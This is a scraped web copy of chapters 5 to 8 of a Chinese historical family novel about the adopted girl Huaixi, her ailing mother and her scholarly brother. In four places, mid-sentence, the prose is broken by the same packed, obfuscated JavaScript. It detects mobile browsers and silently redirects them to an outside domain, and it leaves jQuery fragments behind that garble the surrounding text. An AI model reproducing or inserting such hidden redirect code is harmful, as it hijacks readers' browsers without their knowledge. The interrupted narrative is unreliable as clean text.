只是小孩子终究喜欢同小孩子玩闹,这宅子离宋家主宅近,怀夕总是会同二房的小公子和两位姑娘碰上。 许妈妈摇了摇头,“姑娘最是听夫人的话,怎么会去,只是......” “只是什么?”白氏皱眉。 “姑娘今日带小艾去外头摘荷花,刚好在五桥边上遇到主宅几位小主子,不知因何事跟四公子推搡起来,摔在阶梯边上......” 许妈妈还未说完,那头怀夕头一歪,自己惊醒了自己。听到许妈妈正说到自己,她脖子一缩,忍不住心虚了起来。 娘亲向来不喜欢自己同主宅的人起争执...... 怀夕单手撑着桌沿,一股脑跳到地上,鞋子还没圾好,就扑到白氏怀里。 “娘亲,是夕儿错了,夕儿只是想给娘亲采花去的。半道上遇到宋承林, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14878894|159707||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他笑我像乞丐,老是到外面捡东西......”怀夕唇上咬出小小牙印。 宋承林每次见到自己总是“小傻子小乞丐”的叫,怀夕谨记娘亲叮嘱,也懒得理他。可不理他,他好似更生气,故意踢了小艾一脚。 怀夕怀夕向来护短,小艾同她一起长大,虽是主仆,但情同姐妹。一见小艾摔倒,怀夕便冲上前推了宋承林一把。 宋承林虽只比她大一岁,但生的粗壮,又是男孩,力气不容小觑,轻易推不动。而怀夕冲上去那一瞬,宋清婉怕她弟弟吃亏,伸手拉住怀夕的衣袖。 怀夕一下失了控制,虽把宋承林推开,自己也摔了一跤。 宋承林摔倒在地后恼羞成怒,好在桥上行人听到动静靠了过来,宋清婉这才叫小厮拉着宋承林回去。 “娘亲没有怪你。”白氏低头,温柔抚摸瓷白小脸。 “娘亲莫要难过,夕儿不痛,爬起来的时候还偷偷踢了宋承林一脚。”怀夕见白氏眼眸里似有泪光,以为自己又说错话了又正色道:“夕儿以后不打四哥哥了,娘亲莫哭,是夕儿错了。” 可白氏看着女儿晶亮杏眸,强忍着的泪反而啪啪落了下来。 女儿心思纯真,如清泉一眼见底。可也是这样,白氏更担心,若有一日自己不在...... “若是以后有人喊你小乞丐,小傻子,欺负你,夕儿就骂回去,打回去,知道吗?” 怀夕伸着肉乎乎的小手给白氏擦泪,有些不知所措。她有时也觉得,自己如主宅那几个哥哥姐姐说的一般,是个呆子,少根筋。 娘亲是因为别人喊她小乞丐才这么伤心的吗? 其实也没什么,从前还有人喊过更难听的,她并不放在心上。 可娘亲不喜欢。 怀夕抱着白氏的手臂,认真说道:“母亲放心,下次谁这样喊我,我定将他揍得找不着自己的牙!” 看着怀夕这样孩子气的话,白氏苦笑着将她揽过来。然后,就听到怀夕小姑娘肚子发出几声咕咕叫...... 白氏忍不住摇头,也顾不上伤怀了,转头吩咐许妈妈,“摆饭吧,别饿坏这只小花猫了。” 屋里只余母女两个,趁上菜的间隙,白氏抱着怀夕在怀里事无巨细地叮嘱:明日莫要乱看,不要跟哥哥姐姐起冲突,也莫要乱吃别人递过来的东西等等...... 想到明天便能见到几月未见的哥哥,怀夕心里高兴得很,对母亲的教导一一点头,几次保证自己明天会十分乖巧。 5. 第 5 章 白氏出生于泸州一个盐商家庭,自小锦衣玉食,花团锦簇,没受过什么委屈,便也养成了娇软善良的性子。 丈夫病逝以后,白家也不是没派人来接她回去。 可白氏不愿离开,对她来说,既冠了丈夫的姓氏,一辈子便是宋家的人。 遇到怀夕,是在城外的寺庙边上。 那是平元十一年,三月三,上巳节。 宋府上下来到城外的寺庙祭拜王母娘娘。 那时丈夫刚病逝不久,儿子又在书院读书,白氏还没从悲痛中走出来。在寺庙吃完斋饭后,白氏在许妈妈的搀扶下,到后山赏花散心。 也是在那时,白氏看到后山中衣衫褴褛的小怀夕。 那时怀夕丝毫看不出如今的粉雕玉琢。刚满五岁,蓬头垢面地,蹲在地上同一只野犬抢食。 那野犬也是饿狠了,虎视眈眈,在几步之外盯着她手上的肉包子。 只是女孩身型虽小,却颇有气势,那野犬始终不敢靠近。 小怀夕警戒性强,没一会就发现白氏她们,立马站了起来,往后退了几步。 那是对人本能地害怕。 大约是白氏未曾像其他人那般,对她驱赶反感,又见白氏主仆不时盯着她手里的包子。 小怀夕咬着唇,看看狗,又看看白氏主仆,最后将好不容易护住的包子递给白氏。 ——她以为白氏同她一样饿着肚子。 即使不舍,还是伸出手。 也是那一刻,白氏看着她清澈明亮的瞳眸,想到自己早逝的女儿。 回到寺庙后,白氏让许妈妈对小怀夕的来历打听了一番。 寺庙里洒扫的小沙弥刚来不久,对这个小女孩的来历也不甚清楚,只依稀记得,小女孩在寺庙周围流浪了有一阵子了。 小沙弥还说,门外那女孩不知道经历过什么,对人十分警戒,给她吃食她倒是会接,只不肯进寺庙。 许妈妈又辗转找到寺院里的老僧人继续打听。才知道,原来,小怀夕因生下来时不哭不闹,也摸不着心跳,被当作异物丢弃。好在被城北的一个尼姑庙老师太收留,捡回了一条命。 但命途实在多舛,老师太去世后,那尼姑庙被一群山贼所占,山贼嫌小怀夕年纪太小,不会干活,便把她赶走了。 于是小怀夕一路懵懵懂懂,混在乞丐堆里,兜兜转转在这临山寺庙里落了脚。 白氏同住持表示她想把女孩带回养育时,住持欲言又止,之后什么也没说,只道说了句阿弥陀佛。 把小怀夕带回后,因她警戒性太高,白氏花了好一段时间,亲自料理她的起居,才慢慢取得她的信任。 小怀夕机灵聪慧,学什么都很快。只是时间长了,白氏渐渐发现,怀夕似乎有些不通情窍,也就是寻常人说的,少了根筋。 许是从小便在流浪,无人教导,又许是天生,在人情世故上总是懵懵懂懂。 太懵懂,并不是一件好事。但白氏想着来日方长,人情世事,喜恶黑白,待她慢慢教导也无妨。 有了怀夕后,白氏脸上的笑容明显多了许多,也不再病恹恹的。 所以当宋承云得知母亲捡了个乞丐当女儿后,虽皱了皱眉,却也没有多说什么。 这一养,就养了五年,怀夕如今也十岁了,乖巧伶俐。而宋承云争气,这几年在梁家书院读书,声名远扬。 唯一不太称心的,便是白氏自己的身体。自丈夫去世那年得了风寒后,因长期郁郁寡欢,疾病不见好,还落下肺疾,平日病痛不断。 从去年始,白氏便不让怀夕跟着她睡,一是因为她常常半夜咳嗽,怀夕每次都睡得不安稳。二则怀夕长大了些,她不希望她事事过于依赖她。 好在怀夕只闹了两天别扭,见白氏不欲妥协,第三天倒也安安静静回自己屋子睡觉。 - 或许是太想念哥哥,一向嗜睡赖床的怀夕起了个大早。醒来时,雕花窗外,还是黑乎乎一片。 她推开被子坐起来,睡眼惺忪,屋内静悄悄的,睡在外间的小艾还没醒...... 怀夕摸黑在枕头底下掏出一团东西,拿在手上揉了揉,又整整齐齐放回去。 昨天小艾被宋承林欺负,今天还是让她多睡会吧。想到这,怀夕掀开被子,又躺了下去。 一双晶亮的眼珠子在黑暗里溜溜转,没一会,又缓缓闭紧...... 再睁眼时,已经是在小艾的呼唤声中了。 “姑娘,该起了。”小艾站到拨步床边,将纱帘卷到两边。 见床上女子睡得正沉,又蹲到床边,轻轻拍了拍她露在被子外的手。 手被轻摇着,怀夕懒洋洋半睁开眼,声音还带着未睡醒的软糯:“小艾,几时了?该去叫娘亲起床,早些去接哥哥了吧……” 话还未说完,眼眸又快闭上。 小艾知道怀夕的睡相,赶紧把怀夕身上的被子拉开,握着她手边拉边劝:“都辰时了姑娘,夫人早就起来了。” 小艾对着门外喊了声,又转身回来帮怀夕整理被压皱的里衣。 “碧儿姐姐在门外等了好一会了,姑娘不是说今日想梳个双平髫么?再不起来,碧儿姐姐可就走了......” 辰时了?! 今日去接哥哥可不能晚! 怀夕奋力睁开厚厚的眼皮。 见怀夕自己使力撑坐了起来,小艾走到一旁的叠云纹盆架边,将脸盆捧了过来,侍候怀夕梳洗。 等换完衣裳后,小艾才走到外间,打开门,把碧儿请了进来。 碧儿是侍候白氏的丫鬟,手巧的很,又会些时兴的挽发手艺。怀夕是女孩,正是爱俏的时候,平日多是碧儿为她妆扮。 “碧儿姐姐,叫你久等了。” 碧儿长得伶俐清秀,跟在白氏身边多年,年纪比怀夕和小艾大些。她的手巧,很快便按怀夕的要求绾好了一个双平髫,又在首饰盒里,挑了两朵浅黄色的珠花插上。 梳妆镜前,粉雕玉琢的小姑娘左边看看,右边看看,而后满意地点点头。 - 盛夏蝉鸣,日光晃眼。 宋宅门檐下,一行人翘首望着不远处一架马车渐行渐近。 因昨日答应白氏今日要守礼,怀夕牵着白氏的手在衣袖下晃了晃,强忍着要见到哥哥的欢喜。 马蹄踢踏,卷起地上风沙,马车上终于走出一道熟悉的身影。 那身影从马车上一跃而下,动作干净利落,淡青长衫随着他的动作扬起一角。 日光之下,他的眉眼修长疏朗,鼻梁挺拔,脸部轮廓比几月前离家时又添了几丝分明。 “哥哥!”怀夕没忍住,踮起脚向哥哥招了招手。 那身影站定后,先是走到贾氏面前拱手行了礼,又依次向族里的长辈行礼。 行止有度,叫人无可指摘。 只是少年虽礼仪周全,那双黑眸却冷冷清清 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14878895|159707||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,像揉碎的云雾深不见底,疏冷缥缈。 贾氏和宋景明自见到宋承云从马车上下来的那一刻,不约而同对视了一眼。而后目光落到宋承云身后的宋承亭时,眼神才亮了些。 二房长子宋承亭和宋承云同在梁家书院学习,比宋承云大两岁,也算天姿聪颖,前年县试时取得榜上第九名。 他虽也身姿挺拔,五官端正,可站在宋承云身后,便显得有些黯淡无光。 待一声清脆的“哥哥”落下,宋承云将目光定在白氏和怀夕身上时,眼底那抹云雾才散了散。 宋承云走到白氏跟前,端着手恭敬地行了礼,又问候道:“母亲咳疾可有好些?” 白氏自见到儿子的那一刻,眼眸里便忍不住盈着光。 虽高兴他的成就,可见宋承云脸颊又瘦削了些,又忍不住担心他读书辛苦,一时间各种心绪杂糅,只握着宋承云的手点头。 ...... - 八月份浔阳府乡试,梁家书院里已经过了县试的,都将去应试。 乡试可不是简单的考试,能参加的人都是各县的佼佼者。而像宋承云和宋承亭这般年轻的,更是屈指可数。 朝廷十分重视各州府的乡试,会选派翰林、内阁学士赴各州府充任正副主考官,主持乡试。 而梁家书院今年能去应试的,只四人,宋家便占了一半。 书院消息一出,宋家族老们与有荣焉。这不,今日宋承云兄弟回来,族老们特来迎接。 等白氏一家再回到住处时,已经是午后了。 怀夕向来有午憩的习惯,回来后还来不及同宋承云说两句话,白氏便让小艾把她送回屋里休息。怀夕乖乖,倒不是听话,她确实是困到睁不开眼。 待怀夕走后,白氏让许妈妈把侍侯的人都带下去,屋内只余她与宋承云二人。 宋承云自小寡言,又常在外面求学,性子是出了名的冷淡,可对白氏的谆谆叮嘱,丝毫没有一丝不耐,对白氏关心他在书院的起居,他一一回答。 见儿子一切都顺遂,白氏终于放心。 想到席上婆母贾氏所说,梁夫子对家中的女眷们,也是聘名师教以诗书琴棋,仪态礼节。白氏向儿子求证,得到宋承运点头肯定时,白氏缓缓点点头,目光显露犹豫之色。 贾氏因着家里两个孙子争气,这两年同梁府老太太走得近。知道贾氏有意培养几个孙女,梁老太太特意写信同贾氏说起她有一个熟识的张嬷嬷从京城回乡。 听闻张嬷嬷是在王府里出来的,礼仪规矩都是极佳的,贾氏便也动了心思,想把张嬷嬷请到宋家来,给几个孙女调教调教。 午间宴会时,贾氏当着宗族族老的面,同白氏说想让怀夕也跟着到主院和姐妹们一起上课。 白氏清楚婆母是故意在族老面前向她卖好,但她知道此机会难得。 她自己的身子她知道,终护不了女儿长久。 女儿天性纯净,可这世上的人,惯会投机取巧,欺软怕硬。 多学些东西,终究是好的。 只是她也不想叫二房因此事挟制儿子,故还是想同儿子商量一下,听听儿子的想法。 但白氏不知道,宋景明刚刚在男宾席上已经同宋承云提过。 卖好的机会谁会嫌多? 见母亲皱着眉,宋承云一下就猜到她在想什么,“夕儿虽聪慧,可心思过于纯白,若能得张嬷嬷指点,也不失为一件好事。” 6. 第 6 章 “小艾,小艾。”小憩了一会,怀夕又是精神抖擞的样子,刚睁开眼睛,便开始找小艾。 小艾在外间纳鞋底,听到怀夕的声音,小跑着进屋,“姑娘醒了。” 见怀夕自己拿着衣物换起来,小艾急忙上前替她系扣子,“姑娘别急,二公子这次在家里能留上半月呢。” 怀夕浅笑,“我知道,娘亲说了,哥哥是回来温学的,过几日才去浔阳府考试去。” 怀夕听隔壁宅院的仆妇闲聊时说过,哥哥是要去考举人的,单从他们说话时的神情和语气,怀夕就知道,在他们眼中哥哥有多了不起。 简单把发丝梳顺,小艾替她挽了两个小髻,准备拿起桌上浅黄色珠花时,怀夕摇摇头,“这样就好了。”她站起来,眼眸清亮,“哥哥定在青朴轩,走吧,小艾。” - 青朴轩内,清光明亮,西侧书架上满满当当放满了书和卷轴,素净雅洁。 窗边书桌上,墨笔横放,还未干透,边上一盏清茶,茶香袅袅。叠竹纸上,一做工不算精巧的浅黄色香囊,为这沉闷屋子点缀了一抹亮色。 宋承云并未坐在桌前,而是拿着书,站在窗前。 轩窗半开,窗外是晃眼的日光,愈是炎热,蝉鸣声越是响亮。 怀夕刚踏入宋承云的院子,便看到书房正对院子的窗半开着。她稍稍提高裙摆,利落跨过门槛,看着守在门外的书童松毫,低声问:“松豪,哥哥还在温书么?” 松毫显然对怀夕这般熟稔做派习以为常,笑着应是。 怀夕手上提着一个小食盒,小艾手上也有一个,见到松毫,小艾把她手上的那个食盒递给他。 哥哥温书时喜静,自进院子后,怀夕连脚步声都放轻了许多,此刻也刻意压着说话声,“松毫,我问你,你可挑食?” 松毫笑呵呵地接过小艾递过来的食盒,挠了挠后脑勺,“小的不挑食,吃什么都香。” 怀夕得到满意的回答,转头对小艾说道:“你看,松毫这身长,同几月前也无二样。可见,没长高不是哥哥说的挑食的问题。”说完后,怀夕便落下他们,脚步雀跃,独自往里推开书房的两扇门,留下一个清爽的背影。 - “哥哥,夕儿进来了?”听到里头宋承云应了声,怀夕这才提步往里走。 一进去,果然看到哥哥手里握着书,“哥哥,你今日车马劳顿,怎地一回来又在看书?” “无妨。” 怀夕把食盒里的酸梅酪取出来,放到一旁的小桌上,声音清清甜甜,自顾自地说着:“暑热难耐,娘亲特意让许妈妈一早做了冰镇酸梅酪,哥哥尝尝吧。” 把瓷碗和糕点都放好后,发现哥哥还握着书站在窗前,怀夕轻轻叹了口气。 难怪娘亲平日总是担心哥哥在外面吃不饱睡不好,她都把吃的送到这里,哥哥看都不看一眼。 若是她,早就坐在桌案前吃起来了。 怀夕绕过小桌,走到窗前牵他的手,“哥哥!” 浅黄色身影如同一只蝴蝶,这里停停,那里停停。饶是宋承云再专注,注意力也早被她吸引了过来。他任由她将书抽走,然后被牵到桌案前坐下。 待看到宋承云将碗拿了起来,怀夕这才满意地坐到他对面。 娘亲说了,要看着哥哥将这碗酸梅酪喝完的。 看着哥哥拿起勺子,轻轻搅了搅那颜色晶莹透亮的酸梅酪,怀夕忍不住咽了咽口水。 宋承云没有错过妹妹的小动作,浅笑问道:“想喝?” 怀夕急忙摇了摇头,“不想。” 说完后,她又咽了咽口水,“前几日有些腹痛,陈大夫说我脾胃失调,娘亲说不能吃凉的。” 宋承云闻言,收回原本想把碗递出的动作,“邪在脾胃,阳气不足,阴气有余,则中寒肠鸣腹痛,往后甚记不能贪凉。” 怀夕听着哥哥的教诲,虽似懂非懂,仍是点点头。 宋承云向来奉行食不言,寝不语。所以他吃的东西的时候,怀夕只在一旁安静地坐着。 只是她性子向来静不下来,坐了一会,便站了起来走到别处,看到书桌竹纸上放着的浅黄色香囊,怀夕转身看向宋承云,“哥哥不喜欢这个香囊吗?” 看得出,香囊是被随手放在这里的,怀夕有些气馁。这个香囊,可是她同娘亲学了许久,手指头都被刺伤了好多次做出来的…… 宋承云正把吃完的瓷碗放回食盒,目光顺势落到那抹浅黄上。 香囊是妹妹午后被母亲哄回院里前,往他手心塞的。他身上所用的香囊皆是母亲亲手所制,对于妹妹塞给他的这个香囊,他没有多想,甚至没有细看。 可听到妹妹这个语气,这个香囊...... 宋承云走过去,定睛一看,那香囊上绣了歪歪曲曲两根绿竹。 不是母亲的绣艺 “是夕儿做的?”宋承云问。 闻言,怀夕抿起的嘴唇又轻轻扬起,一把拿起桌上的香囊,献宝似的递到宋承云面前,“夕儿学了许久才学会的,花样虽绣得不好,可里面的香料是夕儿费了好些心思寻的。” 怀夕踮脚将香囊递到宋承云鼻翼旁,“哥哥不喜欢那些甜腻的香味,夕儿春日时到古桥边摘了些玉兰花,晒干了做成香料。哥哥闻闻,可喜欢?” 鼻翼边花香淡淡,清远幽雅。 “喜欢。”宋承云欲接 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14878896|159707||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过来。 怀夕却拿着香囊想帮他系上,宋承云便任她在腰间摆弄。 墨蓝色衣袍上一抹浅黄,怀夕歪了歪头...... 不搭。 实在不搭。 早知道就听娘亲的话,选那天蓝色的布寸头,怀夕又把香囊接下来。 见怀夕双肩耷拉,满脸受挫的模样,宋承云从怀夕手里拿过香囊,“在屋内温书时佩戴,可好?” 怀夕盯着宋承云,见他神色不似作伪,皱紧的五官蓦地松展,双颊梨涡闪现,甚是可爱。 “好。”她应得响亮。 孩子心性,没一会,她的心神又被别的物件吸引去了。 多年后,从威严庄重的凌霄殿中翻出这枚香囊,她甚至忘记这香囊是出自她手...... - 宋承云在家中的这十几日,怀夕每日都乖乖呆在家中。 说得再准确些,是她日日都呆在青朴轩。 说来也奇怪,怀夕刚被白氏带回来时,人人都靠近不得,唯独宋承云,初见便十分亲近他。 即便当时,宋承云对她十分冷淡。 宋承云自小性子淡漠,喜恶不显,即使对白氏,也不如寻常人家母子那般亲昵。但说实话,怀夕刚被白氏带回时,宋承云的确对母亲捡回来的这个脏兮兮的小女孩谈不上喜欢。 他不明白母亲为何视她如珍如宝。 他喜静,她却十分闹腾。 他被人追捧为百年难得一遇的天才,她却...... ——有些蠢笨。 二房的妹妹会同婶娘哭闹,会撒娇,会因为他一个眼神而不敢靠近。可怀夕不同,无论他如何冷脸待她,她总能笑盈盈地凑上来,奶呼呼地喊他哥哥。 还未常住书院时,好几次,他看到二房几个弟弟妹妹将他名义上的妹妹围在中间,故意扔东西让她去捡。 那些欺负她的手段明明那般低劣,她可以走开,可以置之不理。但她总手甘之如饴一般,一次又一次地栽进别人给她设的圈套里,乐此不疲。 明眼人都看得出来他们在欺负她,宋承云当然也看得出来,但他不想管,也懒得管。 母亲向来很有耐心,自将她带回后,轻声细语地哄着,不厌其烦地纠正她的习惯。没多久,那个面枯黄瘦的小丫头变成一个粉嫩活泼的小姑娘。 母亲总说她性子纯净,他虽不以为然,但也没有反驳, 后来,母亲察觉出他的冷淡,主动同他讲述怀夕的遭遇,原来她自小被丢弃,能活着长大已是不易。 宋承云心里有轻轻的颤动,加上母亲对她的喜欢与日俱增,所以,他不得不容忍她在眼前晃荡。 7. 第 7 章 日子就这样不咸不淡地过着,直到怀夕来到宋家的第二年冬。 那年泸州县下了十几年来最大的一场雪,母亲一早又被祖母叫走,因着祖母不喜怀夕,母亲临去前将怀夕牵到他屋里,吩咐他看着妹妹。 同在一屋檐下相处久了,宋承云知道这个妹妹性子极为跳脱,尤爱热闹。可那日怀夕在他屋里半天,都极为安静,安静到他都忘了,屋里还有她。 直到他写完一幅字帖,欲放下笔时发现字帖一角被风吹得扬起,他才转头看向屋内的雕花窗。 原来,从进门后一直乖乖坐在暖炉边安静烤火的小姑娘,终于耐不住寂寞,不知什么时候爬上窗边的罗汉床,把雕花窗支开了一条缝,伸手抓落下的雪花。 顶着她的时候,小姑娘也回过头偷偷看他,然后,雕花窗啪地一声,向内关上。 大约是心虚,怀夕第一时间解释:“娘亲说哥哥读书时,夕儿莫要吵闹……对不起,哥哥,夕儿吵到你了么?” 许是那日的炭火烧得足,显得女孩眼眸晶亮非常,叫他不端想起刚刚抄写的诗句:“聚天地之精华,凝山川之灵气。” 所以,宋承云目光第一次停留在那双清澈的眼眸上。 母亲说得对,她太干净了。 鬼使神差地,宋承云应了一句:“无妨。” 得到回应,怀夕显然也愣了愣。其实哥哥私下甚少同她讲话,就算讲话语气也十分冷淡,从未有现在这般温和的神色。 怀夕不懂人心复杂,只知道哥哥终于愿意搭理自己,十分欢喜,她转过身,在罗汉桌上坐得十分端正,用行动表示自己会乖乖听话不吵闹。 见哥哥没有再拿出笔,怀夕小声问道:“哥哥可知道,城外观音庙后有颗枣树,有时冬日里也会结果子……” 宋承云朝她看过去,小姑娘便讲得更起兴,絮絮叨叨同他讲起她从前在树上摘果子的经历。 怀夕小手撑在床边,因衣物穿得多,下来时有些笨重。圾好鞋子后,她走到宋承云的书案上,小手在盯着墨砚发呆的宋承云眼前挥了挥,笑道:“哥哥想什么呢?莫不是想吃枣了?” 屋外大雪纷飞,屋檐上的积雪因风吹落处好大一块,门外噼啪雪落和风凛冽风刮声。 宋承云似乎才回过神,盯着她看了好一会,鬼使神差地,他说,“想。” 这段短暂对话,很快叫他抛之脑后。 待第二日午后,母亲着急忙慌跑进他屋里,说已经有一个时辰未看到怀夕,问怀夕有没有在他这里时,他无端想起他们昨日的对话。 母亲见他摇头,一刻不停,又跑进雪里。松毫也被母亲叫去帮忙找怀夕,青朴轩里便只剩他。 宋承云掀开防雪帘,走到廊下。 漫天如柳絮的飞雪,纷纷扬扬直扑廊檐之下,院子里被踩出一排排深深的脚印。 院子里的槐树挂着雪霜,洁白无暇,便如同那双眼眸。 不知为何,他觉得他知道小姑娘在哪。念头一起,未顾得上回屋拿上自己的雪氅,宋承云推门走进大雪里。 后来,循着到城外的路,宋承云果然找到了怀夕。 路上行人寥寥,偶尔一辆马车疾驰而过卷出满地风雪,打在脸上刺疼。 “怀夕。”那是宋承云第一次喊她的全名。 宋怀云只带着松毫骑马出来,饶是两个男子,也冻得发抖。 “你是傻子吗?” 他不知道怀夕凭着一双小短腿,在雪地里走了多久才走到这里。 他也想不明白,为何她愿意冒着这样的大雪,难道真的只为他一句想吃果子么?她难道看不出来自己故意冷待她么? 宋承云平生以来第一次觉得有愧于心。 怀夕只在看到他时有一瞬惊讶,之后,便提着被积雪浸湿的衣摆超他跑了过来,如同一只翩跹的蝶。 看着她脸上干净晃眼的笑容,宋承云的心有一瞬颤了颤。 他大概知道,母亲为何如此喜欢她了。 ——没有人能拒绝这样毫无保留的依恋和信任。 他下马时,怀夕正好绊了一下,整个人扑到他怀里。宋承云措手不及,伸手将她搂住,还未来得及将她扶稳,便听到小女孩绵软发抖的声音:“哥哥要与我同去摘果子么?” 她被冻得声音忍不住在发颤,可神情却是欣喜的。 宋承云人生第一次语塞,在松毫的提醒下,把女孩从雪里抱了起来。 怀夕看着是个好脾气的,实际也是个倔的,不达目的不罢休,以为宋承云没听到自己的话,又重复了一遍。 “哥哥骑马同我去摘果子吗?” 看着怀夕期盼的眼神,宋承云解下身上的大氅,给她系上。转头让松毫回府里报平安后,他将怀夕抱上马,自己也翻身上马。 “去。” - 秋闱每三年考一次,每次皆在金秋时节。每次秋闱有三场,每场三昼夜,中间两次换场,全程便是九天七夜。 为了让考生们能保持精力充沛,梁夫子提前几日便带着学院四个学生到了浔阳府。 二房特意派了几个奴仆提前到浔阳府打点,提前定好了客栈,还吩咐几个奴仆留在浔阳府侍候两位公子,待乡试结束后再一同回来。 梁老夫子对这些费心不多,因距乡试还有好几日,他只吩咐几个学生放稳心态,那几日留在客栈温习休息,有时晚饭后还要他们到附近走走,劳逸结合。 此时的浔阳府汇集底下二十几个乡县的佼佼者,热闹非凡。待开考之后,梁夫子倒也没有闲着,抽空拜访了几位老友。 梁老夫子是过来人,知道这乡试虽还只是省试,可耗费精力之多,难以言表。每位考生在狭小逼仄的号舍中连待九天,考的不只是才华,更是心性和耐力。 乡试最后一天,梁夫子叫了两辆马车,又带了几位仆人在贡院门外等着。 考试结束后,贡院门口逐渐有考生走出。大多考生不修边幅,神态疲惫,甚至有些刚从号舍出来便晕了过去,被贡院 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14878897|159707||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里头的仆役抬了出来,喊着名字等人去认领。 待看到梁家书院的两名学生搀扶走出来,梁夫子急忙往前,直接让仆人将他们扶到马车里休息。 刚安顿好这两人,就看到宋承云搀着宋承亭也走了出来。 见宋承云精气神伤可,梁夫子心里有了底,也未曾多问,直接吩咐马车驶回客栈。 休整了一夜之后,第二日,梁夫子才把几位学生叫到自己屋里。 对几位学生的情况有了了解后,梁夫子提议先回泸州县,不在这省城等放榜了。 一来放榜时间未定,按往年,没个十天八日的恐怕也放不了榜。二来浔阳府这段时日的食宿比平日涨了好几成,呆多几日也就是多花些银两,不如回去休整的好。 最主要的是,梁夫子不想自己的学生过于拘泥于这场考试的结果。 他当然希望自己的学生能顺利得到考官的赏识,自此平步青云。可说到底,天外有天,人外有人。 乡试能冒头的,凤毛麟角。 且这几个学生年纪均不算年长,宋家兄弟一十四、一十六。另外两位也才二十有三,无须急,也急不得。 便是他,也是三次参加乡试后才夺得那年的经魁。 于是,留了两个小厮在那等榜,梁夫子便带着一行人先启程回泸州县,沿途顺势拜访了几座名山神庙,两三日的脚程生生待到第七日才回到泸州县。 不同于他们边回边游,二房派出去的几个仆人紧赶慢赶回到泸州县告知梁老夫子的安排。贾氏听完后,顺便差人过来把两个公子的情况也同白氏说了一声。 白氏对这次乡试并不像宗族和二房那边那般紧张兮兮,倒不是对儿子过于自信,只是她相信什么事都要讲究循序渐进。 儿子自九岁时参加童试一举拔得头筹,声名远扬,宗族明里暗里想将所有的宝都压他身上...她心疼儿子,不想宋承云同他父亲一样,被宗族名誉捆绑,过得身不由己。 怀夕在宋承云离开后,也到隔壁宅子同二房几个姐妹一起进学。 宋景明夫妇对几个女儿的教养十分重视,不仅请了张嬷嬷过来教导礼仪,还专门请了女师傅教她们琴棋书画绣艺等。 二房是为自家在宗族的名声,也为拉拢宋承云,才提出让怀夕跟姐妹们一同进学。 可小孩子哪里顾虑那么多,宋清婉姐妹,明里暗里总为难怀夕。 要不就是故意摔坏怀夕的墨砚,要不就是插花时故意不让怀夕挑花,还伙同宋承林,在下学路上堵住怀夕...... 总之,宋清婉姐妹以欺负怀夕为乐,时间久了之后,张嬷嬷也看出她们合起来欺负怀夕时,便隐晦与贾氏提过。 见贾氏不以为意后,张嬷嬷寻了个机会,辞了这份差事。 上梁不正下梁歪,既已家风不正,有些东西,凭她几日功夫,教不会,也教不了。 贾氏的放任,叫宋清婉姐妹更加有恃无恐。没想到,后来几个姑娘打闹一事,会闹到宗族那里。 8. 第 8 章 宋清婉姐妹不知道,怀夕虽然不谙世事,但毕竟不是真痴傻,知道她们不怀好意,当然不会坐等他们欺负。 一日,宋清婉和宋清初让婢女围住怀夕,从她手上抢走她在课上得了张嬷嬷夸奖的一幅字,还故意撕烂,怀夕终于忍不住了。 她示意小艾拦住她们姐妹的两个婢女,而她独自一人,把宋清婉和宋清初扯到地上... 小艾也生得高大,自小跟着怀夕跑上跑下,轻易便制住那几个丫鬟。 怀夕自小好动,又在外面流浪过,爬过树,提过桶,力气不是宋清婉和宋清初这种深闺小姐可比的。她坐在她们身上,故意将她们每日精心装扮,引以为傲的发髫扯乱。 那日动静闹得大了些,族里几位夫人正好被贾氏请来花房品茶。因花房离姑娘们进学的院子仅一廊之隔,听到声响,几位夫人便都走出来察看。 怀夕早在看到宋清婉的丫鬟去搬救兵时,就把自己的发髻也扯了。在听到院外脚步声靠近时,怀夕将脚从声嘶力竭的两姐妹身上移开。 而后,蹲坐到一旁。 宋清婉姐妹哪里肯,刚被松开,嘶喊着又要冲上来。 这一幕便落到贾氏婆媳和族里几位夫人眼里,她们有些讶异地看着贾氏。 